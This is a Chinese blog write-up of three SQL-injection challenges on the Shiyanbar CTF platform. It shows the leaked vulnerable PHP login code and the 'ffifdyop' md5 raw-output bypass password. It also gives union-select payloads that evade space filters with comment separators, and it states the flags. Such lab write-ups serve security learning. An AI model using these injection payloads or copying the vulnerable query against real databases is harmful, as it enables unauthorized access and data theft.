实验吧ctf

##简单的后台登录

###试题地址
先看下源码,发现这个

<!– $password=$_POST[‘password’];
$sql = “SELECT * FROM admin WHERE username = ‘admin’ and password = ‘“.md5($password,true).”‘“;
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo ‘flag is :’.$flag;
}
else{
echo ‘密码错误!’;
}
url里面ffifdyop
getflag:flag is :flag{ffifdyop_has_trash}

##简单的sql注入(1)

###试题地址
一、通过加英文单引号1‘ ,检测到存在注入: php?id=1
1
2
二、按常规步骤输入1 and 1=1和1 and 1=2的时候,发现报了“SQLi deteced!”而无法查询:php?1 and 1=1 php?1 and 1=2 那么,去掉空格输入1and1=1和1and1=2呢? 确定是过滤了空格!
3
4
5
6
三、绕过过滤空格的进行手工注入,常用一对英文括号()或者程序中常用的一对注释符//来替代空格。
7
四、输入1/
/union//select//flag//from//flag//where//1=1,顺利输出预期结果:
8
五、加单引号闭合,执行:
1’//union//select//flag//from//flag//where/**/‘1’=’1
flag{Y0u_@r3_5O_dAmn_90Od}

##简单的sql注入2

###试题地址
做完这题感觉这题比起上一道题区别不大,首先,进行上一题中的每一步测试,以及尝试提交上一题中得到flag的语句。

当然,如果上一题的语句能在这道题中得到flag那这题还有什么意义呢.

经过一些常规操作之后,发现了一个与上一题不同的地方,当出现空格的时候这里会显示SQLi detected,那么也就是说现在这里过滤掉所有的空格而并非是上一题中过滤掉关键字+空格。
9
8
上一题中我们得到flag用到的语句为1’ union//select//flag from//flag where//‘1’=’1
上一题中我们仅仅用//替换掉了关键字后面的空格,那么这里我们将所有的空格都换位//:
1’//union//select//flag from//flag//where//‘1’=’1
1
flag{Y0u_@r3_5O_dAmn_90Od}

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
,